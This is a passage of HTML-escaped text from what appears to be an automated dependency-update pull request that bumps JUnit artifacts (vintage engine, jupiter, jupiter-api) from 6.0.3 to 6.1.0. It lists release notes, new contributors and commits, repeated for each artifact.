\u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0dc3af1cb1973d257b5bc75d81e02454d5e4e556\"\u003e\u003ccode\u003e0dc3af1\u003c/code\u003e\u003c/a\u003e Release 6.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/1d130020c85170edcb46ce7ed1f7f78824e37c04\"\u003e\u003ccode\u003e1d13002\u003c/code\u003e\u003c/a\u003e Prepare 6.1.0 release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/072b2175bbd7b0b3b26f5d928550ec7a21e68268\"\u003e\u003ccode\u003e072b217\u003c/code\u003e\u003c/a\u003e Update plugin spotless to v8.5.0 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5668\"\u003e#5668\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/3a53480218f4b752a9ca77506e10632cd483c0f8\"\u003e\u003ccode\u003e3a53480\u003c/code\u003e\u003c/a\u003e Update Gradle to v9.5.1 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5666\"\u003e#5666\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0e18a20a9f98d063ae02b3ba19329143f5c7f034\"\u003e\u003ccode\u003e0e18a20\u003c/code\u003e\u003c/a\u003e Update zizmorcore/zizmor-action action to v0.5.4 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5669\"\u003e#5669\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0a2634fb9cbbd057b02cf629d7d272c16d62be4b\"\u003e\u003ccode\u003e0a2634f\u003c/code\u003e\u003c/a\u003e Update github/codeql-action action to v4.35.5 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5671\"\u003e#5671\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/4dbd5561b00ac761a62c516bfaec51c212a2d60c\"\u003e\u003ccode\u003e4dbd556\u003c/code\u003e\u003c/a\u003e Restructure workflows to have single \u0026quot;status\u0026quot; job (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5670\"\u003e#5670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/f2194cebe377512cb0ade388c62a881a0bcf5d3e\"\u003e\u003ccode\u003ef2194ce\u003c/code\u003e\u003c/a\u003e Increase timeout to reduce flakiness\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/5c8fdd2df65b763151cccbe669ea9e1c3155efcd\"\u003e\u003ccode\u003e5c8fdd2\u003c/code\u003e\u003c/a\u003e Update dependency org.apache.groovy:groovy to v5.0.6 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5659\"\u003e#5659\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/43c6982324602582902c9bdb213fd5e007f9cf3d\"\u003e\u003ccode\u003e43c6982\u003c/code\u003e\u003c/a\u003e Update dependency org.slf4j:slf4j-jdk14 to v2.0.18 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5667\"\u003e#5667\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.junit.vintage:junit-vintage-engine` from 6.0.3 to 6.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/junit-team/junit-framework/releases\"\u003eorg.junit.vintage:junit-vintage-engine's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eJUnit 6.1.0 = Platform 6.1.0 + Jupiter 6.1.0 + Vintage 6.1.0\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0/release-notes.html\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JarvisCraft\"\u003e\u003ccode\u003e@​JarvisCraft\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5633\"\u003ejunit-team/junit-framework#5633\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Maran23\"\u003e\u003ccode\u003e@​Maran23\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5644\"\u003ejunit-team/junit-framework#5644\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-RC1 = Platform 6.1.0-RC1 + Jupiter 6.1.0-RC1 + Vintage 6.1.0-RC1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-RC1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mariokhoury4\"\u003e\u003ccode\u003e@​mariokhoury4\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/4574\"\u003ejunit-team/junit-framework#4574\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Ogu1208\"\u003e\u003ccode\u003e@​Ogu1208\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5145\"\u003ejunit-team/junit-framework#5145\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HyungGeun94\"\u003e\u003ccode\u003e@​HyungGeun94\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5271\"\u003ejunit-team/junit-framework#5271\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yalishevant\"\u003e\u003ccode\u003e@​yalishevant\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5316\"\u003ejunit-team/junit-framework#5316\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JINU-CHANG\"\u003e\u003ccode\u003e@​JINU-CHANG\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5290\"\u003ejunit-team/junit-framework#5290\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jaschdoc\"\u003e\u003ccode\u003e@​jaschdoc\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5427\"\u003ejunit-team/junit-framework#5427\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kawshikbuet17\"\u003e\u003ccode\u003e@​kawshikbuet17\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5561\"\u003ejunit-team/junit-framework#5561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/msridhar\"\u003e\u003ccode\u003e@​msridhar\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5602\"\u003ejunit-team/junit-framework#5602\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-M1 = Platform 6.1.0-M1 + Jupiter 6.1.0-M1 + Vintage 6.1.0-M1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-M1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vy\"\u003e\u003ccode\u003e@​vy\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5041\"\u003ejunit-team/junit-framework#5041\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Pankraz76\"\u003e\u003ccode\u003e@​Pankraz76\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5006\"\u003ejunit-team/junit-framework#5006\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/arukiidou\"\u003e\u003ccode\u003e@​arukiidou\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5066\"\u003ejunit-team/junit-framework#5066\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laeubi\"\u003e\u003ccode\u003e@​laeubi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5092\"\u003ejunit-team/junit-framework#5092\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jihun4452\"\u003e\u003ccode\u003e@​jihun4452\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5088\"\u003ejunit-team/junit-framework#5088\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TWiStErRob\"\u003e\u003ccode\u003e@​TWiStErRob\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5133\"\u003ejunit-team/junit-framework#5133\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0dc3af1cb1973d257b5bc75d81e02454d5e4e556\"\u003e\u003ccode\u003e0dc3af1\u003c/code\u003e\u003c/a\u003e Release 6.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/1d130020c85170edcb46ce7ed1f7f78824e37c04\"\u003e\u003ccode\u003e1d13002\u003c/code\u003e\u003c/a\u003e Prepare 6.1.0 release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/072b2175bbd7b0b3b26f5d928550ec7a21e68268\"\u003e\u003ccode\u003e072b217\u003c/code\u003e\u003c/a\u003e Update plugin spotless to v8.5.0 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5668\"\u003e#5668\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/3a53480218f4b752a9ca77506e10632cd483c0f8\"\u003e\u003ccode\u003e3a53480\u003c/code\u003e\u003c/a\u003e Update Gradle to v9.5.1 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5666\"\u003e#5666\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0e18a20a9f98d063ae02b3ba19329143f5c7f034\"\u003e\u003ccode\u003e0e18a20\u003c/code\u003e\u003c/a\u003e Update zizmorcore/zizmor-action action to v0.5.4 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5669\"\u003e#5669\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0a2634fb9cbbd057b02cf629d7d272c16d62be4b\"\u003e\u003ccode\u003e0a2634f\u003c/code\u003e\u003c/a\u003e Update github/codeql-action action to v4.35.5 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5671\"\u003e#5671\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/4dbd5561b00ac761a62c516bfaec51c212a2d60c\"\u003e\u003ccode\u003e4dbd556\u003c/code\u003e\u003c/a\u003e Restructure workflows to have single \u0026quot;status\u0026quot; job (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5670\"\u003e#5670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/f2194cebe377512cb0ade388c62a881a0bcf5d3e\"\u003e\u003ccode\u003ef2194ce\u003c/code\u003e\u003c/a\u003e Increase timeout to reduce flakiness\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/5c8fdd2df65b763151cccbe669ea9e1c3155efcd\"\u003e\u003ccode\u003e5c8fdd2\u003c/code\u003e\u003c/a\u003e Update dependency org.apache.groovy:groovy to v5.0.6 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5659\"\u003e#5659\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/43c6982324602582902c9bdb213fd5e007f9cf3d\"\u003e\u003ccode\u003e43c6982\u003c/code\u003e\u003c/a\u003e Update dependency org.slf4j:slf4j-jdk14 to v2.0.18 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5667\"\u003e#5667\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.junit.jupiter:junit-jupiter` from 6.0.3 to 6.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/junit-team/junit-framework/releases\"\u003eorg.junit.jupiter:junit-jupiter's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eJUnit 6.1.0 = Platform 6.1.0 + Jupiter 6.1.0 + Vintage 6.1.0\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0/release-notes.html\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JarvisCraft\"\u003e\u003ccode\u003e@​JarvisCraft\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5633\"\u003ejunit-team/junit-framework#5633\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Maran23\"\u003e\u003ccode\u003e@​Maran23\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5644\"\u003ejunit-team/junit-framework#5644\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-RC1 = Platform 6.1.0-RC1 + Jupiter 6.1.0-RC1 + Vintage 6.1.0-RC1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-RC1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mariokhoury4\"\u003e\u003ccode\u003e@​mariokhoury4\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/4574\"\u003ejunit-team/junit-framework#4574\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Ogu1208\"\u003e\u003ccode\u003e@​Ogu1208\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5145\"\u003ejunit-team/junit-framework#5145\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HyungGeun94\"\u003e\u003ccode\u003e@​HyungGeun94\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5271\"\u003ejunit-team/junit-framework#5271\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yalishevant\"\u003e\u003ccode\u003e@​yalishevant\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5316\"\u003ejunit-team/junit-framework#5316\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JINU-CHANG\"\u003e\u003ccode\u003e@​JINU-CHANG\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5290\"\u003ejunit-team/junit-framework#5290\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jaschdoc\"\u003e\u003ccode\u003e@​jaschdoc\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5427\"\u003ejunit-team/junit-framework#5427\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kawshikbuet17\"\u003e\u003ccode\u003e@​kawshikbuet17\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5561\"\u003ejunit-team/junit-framework#5561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/msridhar\"\u003e\u003ccode\u003e@​msridhar\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5602\"\u003ejunit-team/junit-framework#5602\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-M1 = Platform 6.1.0-M1 + Jupiter 6.1.0-M1 + Vintage 6.1.0-M1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-M1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vy\"\u003e\u003ccode\u003e@​vy\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5041\"\u003ejunit-team/junit-framework#5041\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Pankraz76\"\u003e\u003ccode\u003e@​Pankraz76\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5006\"\u003ejunit-team/junit-framework#5006\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/arukiidou\"\u003e\u003ccode\u003e@​arukiidou\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5066\"\u003ejunit-team/junit-framework#5066\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laeubi\"\u003e\u003ccode\u003e@​laeubi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5092\"\u003ejunit-team/junit-framework#5092\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jihun4452\"\u003e\u003ccode\u003e@​jihun4452\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5088\"\u003ejunit-team/junit-framework#5088\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TWiStErRob\"\u003e\u003ccode\u003e@​TWiStErRob\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5133\"\u003ejunit-team/junit-framework#5133\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0dc3af1cb1973d257b5bc75d81e02454d5e4e556\"\u003e\u003ccode\u003e0dc3af1\u003c/code\u003e\u003c/a\u003e Release 6.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/1d130020c85170edcb46ce7ed1f7f78824e37c04\"\u003e\u003ccode\u003e1d13002\u003c/code\u003e\u003c/a\u003e Prepare 6.1.0 release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/072b2175bbd7b0b3b26f5d928550ec7a21e68268\"\u003e\u003ccode\u003e072b217\u003c/code\u003e\u003c/a\u003e Update plugin spotless to v8.5.0 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5668\"\u003e#5668\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/3a53480218f4b752a9ca77506e10632cd483c0f8\"\u003e\u003ccode\u003e3a53480\u003c/code\u003e\u003c/a\u003e Update Gradle to v9.5.1 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5666\"\u003e#5666\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0e18a20a9f98d063ae02b3ba19329143f5c7f034\"\u003e\u003ccode\u003e0e18a20\u003c/code\u003e\u003c/a\u003e Update zizmorcore/zizmor-action action to v0.5.4 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5669\"\u003e#5669\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0a2634fb9cbbd057b02cf629d7d272c16d62be4b\"\u003e\u003ccode\u003e0a2634f\u003c/code\u003e\u003c/a\u003e Update github/codeql-action action to v4.35.5 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5671\"\u003e#5671\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/4dbd5561b00ac761a62c516bfaec51c212a2d60c\"\u003e\u003ccode\u003e4dbd556\u003c/code\u003e\u003c/a\u003e Restructure workflows to have single \u0026quot;status\u0026quot; job (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5670\"\u003e#5670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/f2194cebe377512cb0ade388c62a881a0bcf5d3e\"\u003e\u003ccode\u003ef2194ce\u003c/code\u003e\u003c/a\u003e Increase timeout to reduce flakiness\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/5c8fdd2df65b763151cccbe669ea9e1c3155efcd\"\u003e\u003ccode\u003e5c8fdd2\u003c/code\u003e\u003c/a\u003e Update dependency org.apache.groovy:groovy to v5.0.6 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5659\"\u003e#5659\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/43c6982324602582902c9bdb213fd5e007f9cf3d\"\u003e\u003ccode\u003e43c6982\u003c/code\u003e\u003c/a\u003e Update dependency org.slf4j:slf4j-jdk14 to v2.0.18 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5667\"\u003e#5667\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.junit.jupiter:junit-jupiter-api` from 6.0.3 to 6.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/junit-team/junit-framework/releases\"\u003eorg.junit.jupiter:junit-jupiter-api's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eJUnit 6.1.0 = Platform 6.1.0 + Jupiter 6.1.0 + Vintage 6.1.0\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0/release-notes.html\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JarvisCraft\"\u003e\u003ccode\u003e@​JarvisCraft\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5633\"\u003ejunit-team/junit-framework#5633\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Maran23\"\u003e\u003ccode\u003e@​Maran23\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5644\"\u003ejunit-team/junit-framework#5644\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-RC1 = Platform 6.1.0-RC1 + Jupiter 6.1.0-RC1 + Vintage 6.1.0-RC1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-RC1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mariokhoury4\"\u003e\u003ccode\u003e@​mariokhoury4\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/4574\"\u003ejunit-team/junit-framework#4574\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Ogu1208\"\u003e\u003ccode\u003e@​Ogu1208\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca 